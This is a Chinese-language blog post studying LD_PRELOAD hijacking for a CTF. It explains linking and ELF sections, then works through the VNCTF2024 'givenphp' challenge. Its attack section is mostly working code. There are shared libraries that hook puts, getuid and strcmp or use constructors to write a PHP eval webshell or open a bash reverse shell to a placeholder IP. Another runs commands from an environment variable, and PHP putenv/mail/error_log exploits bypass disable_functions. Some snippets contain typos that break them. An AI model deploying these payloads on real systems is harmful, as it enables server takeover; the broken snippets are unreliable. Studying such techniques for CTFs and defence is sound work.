LD_PRELOAD学习

0x0f前言


最近也是打了一些比赛,在VNCTF中看见了这个LD_PRELOAD于是来学习一下(似乎p神的文章也是有写的)这里结合了很多篇文章(比赛频率得降低一点不然天天都在打比赛没时间研究东西了) 也是好久也没有更新博客了。

0x01基础知识


LD_PRELOADLinux/Unix系统的一个环境变量,它影响程序的运行时的链接(Runtime linker),它允许在程序运行前定义优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。 但是也是分情况的: To avoid this mechanism being used as an attack vector for suid/sgid executable binaries, the loader ignores LD_PRELOAD if ruid != euid. For such binaries, only libraries in standard paths that are also suid/sgid will be preloaded. 也就是如果ruid != euid的时候加载器会忽略LD_PRELOAD

/img/ld_preload/ld_preload1.png
首先可以看看一个文件转换为一个可执行程序的活动:

  • 驱动首先运行cpp将main.c转化为ASCII中间文件main.i
  • 接下来,驱动运行ccl,将main.i转化为ASCII汇编语言文件main.s
  • 然后用as转化为二进制目标文件main.o
  • 最后运行链接器ID,结合了main.osum.o创建可执行对象 shell 调用操作系统中称为loader的函数,该函数将可执行文件 prog 中的代码和数据复制到内存中,然后将控制权转移到程序的开头

静态链接器(例如 Linux ld程序(在编译器驱动程序中使用))将可重定位目标文件和命令行参数的集合作为输入,并生成可加载和运行的完全链接的可执行目标文件作为输出。输入可重定位目标文件由各种代码和数据部分组成,其中每个部分都是连续的字节序列。指令位于一个部分,已初始化的全局变量位于另一部分,未初始化的变量位于另一部分,并且在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开。 而在构建可执行文件的时候linker需要执行两个主要的任务

  • Symbol resolution(符号解析):目标文件定义和引用符号
  • Relocation(搬迁):编译器和汇编器生成从地址 0 开始的代码和数据节。

而前面说的符号解析中的目标文件的定义,那么目标文件有几种类型呢? Object files come in three forms:

  • Relocatable object file(可重定位目标文件) 包含二进制代码和数据,其形式可以在编译时与其他可重定位目标文件组合以创建可执行目标文件。
  • Executable object file(可执行目标文件) 包含可以直接复制到内存并执行的形式的二进制代码和数据。
  • Shared object file(共享对象文件) 一种特殊类型的可重定位目标文件,可以在加载时或运行时加载到内存中并动态链接。

编译器和汇编器生成可重定位目标文件,链接器可以生成可执行目标文件,对象文件根据特定的对象文件格式进行组织,该格式因系统而异。

这里的话也是直接拿ELF文件做例子

/img/ld_preload/ld_preload2.png
这个是典型的EFI文件格式。 ELF 标头以 16 字节序列开始,描述生成文件的系统的字大小和字节顺序。ELF 头的其余部分包含允许链接器解析和解释目标文件的信息。 偷懒粘贴一下~ **.text**已编译程序的机器代码。
**.rodata**只读数据,例如 printf 语句中的格式字符串、switch 语句的跳转表。
**.data**初始化的全局和静态 C 变量。局部 C 变量在运行时在堆栈上维护,不会出现在 .data 或 .bss 部分中。
**.bss**未初始化的全局和静态 C 变量,以及初始化为零的任何全局或静态变量。该部分在目标文件中不占用实际空间;它只是一个占位符。目标文件格式区分已初始化变量和未初始化变量以提高空间效率:未初始化变量不必占用目标文件中的任何实际磁盘空间。在运行时,这些变量在内存中分配,初始值为零。
**.symtab**符号表,其中包含有关程序中定义和引用的函数和全局变量的信息。一些程序员错误地认为必须使用 -g 选项编译程序才能获取符号表信息。事实上,每个可重定位目标文件在 .symtab 中都有一个符号表(除非程序员使用 strip 命令专门将其删除)。但是,与编译器内的符号表不同,.symtab 符号表不包含局部变量的条目。
.rel.text .text 节中的位置列表,当链接器将此目标文件与其他文件组合时需要修改这些位置。一般来说,任何调用外部函数或引用全局变量的指令都需要修改。另一方面,调用局部函数的指令不需要修改。请注意,可执行目标文件中不需要重定位信息,并且通常会省略重定位信息,除非用户明确指示链接器包含它。
**.rel.data**模块引用或定义的任何全局变量的重定位信息。一般来说,任何初始值为全局变量或外部定义函数的地址的已初始化全局变量都需要修改。
**.debug**调试符号表,其中包含程序中定义的局部变量和 typedef、程序中定义和引用的全局变量以及原始 C 源文件的条目。仅当使用 -g 选项调用编译器驱动程序时它才存在。
**.line**原始 C 源程序中的行号与 .text 部分中的机器代码指令之间的映射。仅当使用 -g 选项调用编译器驱动程序时它才存在。
.strtab .symtab 和 .debug 节中的符号表以及节标题中的节名称的字符串表。字符串表是一系列以空字符结尾的字符串。

/img/ld_preload/LD_PRELOAD4.png
可执行目标文件的格式与可重定位目标文件的格式类似。ELF 标头描述了文件的整体格式。它还包括程序的入口点,即程序运行时要执行的第一条指令的地址。 .text 、.rodata和.data_节与可重定位目标文件中的节类似,只不过这些节已被重定位到其最终的运行时内存地址。 .init_部分定义了一个名为___init的小函数,它将由程序的初始化代码调用。由于可执行文件是_完全链接_(重定位)的,因此它不需要.rel部分。

静态链接库,在Linux下文件名后缀为.a,如libstdc++.a。在编译链接时直接将目标代码加入可执行程序。 在链接的时候,链接器只会复制程序应用的目标模块来减少可执行程序的大小。 具体的链接过程这里就不写了。

静态库缺点的现代创新。共享库是一个对象模块,可以在运行时或加载时加载到任意内存地址并与内存中的程序链接。此过程称为_动态链接,由称为__动态链接器_的程序执行。共享库也称为共享对象,在 Linux 系统上它们由_.so_后缀表示。 Microsoft 操作系统大量使用共享库,他们将其称为 DLL(动态链接库)。

/img/ld_preload/LD_PRELOAD3.png
这个是与共享库动态链接过程图 为了构建示例向量例程的共享库_libvector.so_,我们使用一些针对编译器和链接器的特殊指令来调用编译器驱动程序: linux> gcc -shared -fpic -o libvector.so addvec.c multvec.c -fpic表示编译器生成与位置无关的代码。-shared表示让链接器创建共享对象文件 链接: linux> gcc -o prog2l main.c ./libvector.so 这样去创建了一个可执行文件prog2l,但是需要注意的是,libvector里面的任何数据都不会实际的复制到可执行文件当中,而是进行了引用。

libname.so.x.y.z

  • lib:统一前缀。
  • so:统一后缀。
  • name:库名,如libstdc++.so.6.0.21的name就是stdc++。
  • x: 主版本号 。表示库有重大升级,不同主版本号的库之间是不兼容的。如libstdc++.so.6.0.21的主版本号是6。
  • y: 次版本号 。表示库的增量升级,如增加一些新的接口。在主版本号相同的情况下, 高的次版本号向后兼容低的次版本号 。如libstdc++.so.6.0.21的次版本号是0。
  • z: 发布版本号 。表示库的优化、bugfix等。相同的主次版本号,不同的发布版本号的库之间 完全兼容 。如libstdc++.so.6.0.21的发布版本号是21。
  • 编译目标代码时指定的动态库搜索路径(可指定多个搜索路径,按照先后顺序依次搜索);
  • 环境变量LD_LIBRARY_PATH指定的动态库搜索路径(可指定多个搜索路径,按照先后顺序依次搜索);
  • 配置文件/etc/ld.so.conf中指定的动态库搜索路径(可指定多个搜索路径,按照先后顺序依次搜索);
  • 默认的动态库搜索路径/lib
  • 默认的动态库搜索路径/usr/lib

攻击过程:

  1. 定义一个函数,函数的名称、变量及变量类型、返回值及返回值类型都要与要替换的函数完全一致。这就要求我们在写动态链接库之前要先去翻看一下对应手册等。
  2. 将所写的 c 文件编译为动态链接库。
  3. 对 LD_PRELOAD 及逆行设置,值为库文件路径,接下来就可以实现对目标函数原功能的劫持了
  4. 结束攻击,使用命令 unset LD_PRELOAD 即可

这里取VNCTF2024的givenphp的题目作为demo

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php 
highlight_file(__FILE__); 
if(isset($_POST['upload'])){ 
    handleFileUpload($_FILES['file']); 
} 

if(isset($_GET['challenge'])){ 
    waf(); 
    $value=$_GET['value']; 
    $key=$_GET['key']; 
    $func=create_function("","putenv('$key=$value');"); 
    if($func==$_GET['guess']){ 
        $func(); 
        system("whoami"); 
    } 
} 
function waf() 
{ 
    if(preg_match('/\'|"|%|\(|\)|;|bash/i',$_GET['key'])||preg_match('/\'|"|%|\(|\)|;|bash/i',$_GET['value'])){ 
        die("evil input!!!"); 
    } 
} 
function handleFileUpload($file) 
{ 
    $uploadDirectory = '/tmp/'; 

    if ($file['error'] !== UPLOAD_ERR_OK) { 
        echo '文件上传失败。'; 
        return; 
    } 
    $fileExtension = pathinfo($file['name'], PATHINFO_EXTENSION); 

    $newFileName = uniqid('uploaded_file_', true) . '.' . $fileExtension; 
    $destination = $uploadDirectory . $newFileName; 
    if (move_uploaded_file($file['tmp_name'], $destination)) { 
        echo $destination; 
    } else { 
        echo '文件移动失败。'; 
    } 
} 

我们只看对环境做操作的部分

1
2
3
4
5
6
    $func=create_function("","putenv('$key=$value');"); 
    if($func==$_GET['guess']){ 
        $func(); 
        system("whoami"); 
    } 
} 

看一下whoami调用的静态链接库

/img/ld_preload/ld-preload5.png
可以看见这里调用了很多。利用puts

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
#include <stdio.h>
#include <stdlib.h>

int platload() {
  system("echo '<?php @eval($_POST[1]);?>' > /var/www/html/shell.php");
}
int puts(const char *message){
	if(getenv("LD_PRELOAD"==NULL)){
		return 0;
	}
	unsetenv("LD_PRELOAD");
	playload();

}

这里可以写马也可以写反弹shell也可以写其他的。 编译一下上传即可。 这里我也贴一下Mon0day师傅的demo whoami.c

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
    char name[] = "mon";
    if (argc < 2) {
        printf("usage: %s <given-name>\n", argv[0]);
        return 0;
    }
    if (!strcmp(name, argv[1])) {
        printf("\033[0;32;32mYour name Correct!\n\033[m");
        return 1;
    } else {
        printf("\033[0;32;31mYour name Wrong!\n\033[m");
        return 0;
    }
}

hook_strcmp.c

1
2
3
4
5
6
7
8
9
#include <stdlib.h>
#include <string.h>
int strcmp(const char *s1, const char *s2) {
    if (getenv("LD_PRELOAD") == NULL) {
        return 0;
    }
    unsetenv("LD_PRELOAD");
    return 0;
}

最后编译后也是无论输入什么都是返回correct

众所周知,在实战中遇到disable的时候是可以利用LD_PRELOAD进行绕过的 利用条件,存在putenv,mail,error_log这些可以对环境变量进行操作的函数

hook_getuid.c

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
    system("bash -c 'bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/2333 0>&1'");
}

uid_t getuid() {
    if (getenv("LD_PRELOAD") == NULL) {
        return 0;
    }
    unsetenv("LD_PRELOAD");
    payload();
}

exp:

1
2
3
4
<?php
putenv('LD_PRELOAD=/var/www/html/hook_getuid.so');    // 注意这里的目录要有访问权限
mail("a@localhost","","","","");
?>

同样也会调用sendmail,所以基本原理和mail的一样这里不在赘述。 exp:

1
2
3
4
<?php
putenv('LD_PRELOAD=/var/www/html/hook_getuid.so');
error_log("",1"","");
?>

这里mon0day师傅还写出了一个新的方法去进行getshell 因为在有些系统里面没有安装sendmail的情况。 https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

这里在gcc中发现了__attribute__((constructor))修饰符,在main之前进行执行,也就是说只要我们的文件被执行,那么直接就会被劫持getshell

1
2
3
4
5
6
7
8
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
    unsetenv("LD_PRELOAD");
    system("bash -c 'bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/2333 0>&1'");
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
    // get command line options and arg
    const char* cmdline = getenv("EVIL_CMDLINE");

    // unset environment variable LD_PRELOAD.
    // unsetenv("LD_PRELOAD") no effect on some 
    // distribution (e.g., centos), I need crafty trick.
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }

    // executive command
    system(cmdline);
}

其实就是后缀名包括但不限于so都可以被执行,后缀名被ban的时候可bypass

其实这个漏洞的本质就是利用linker对环境变量进行覆盖操作从而绕过一些函数的限制进行getshell,这让我不禁想起在n1junior2024中的那道golang的环境变量注入rce,都是对环境变量进行注入进行rce,后续康康研究下那道题目(没解出来太菜了www)

参考文章: https://forum.butian.net/share/1493 https://medium.com/@hovakimyan29/demystifying-linking-in-software-development-931e67d48fad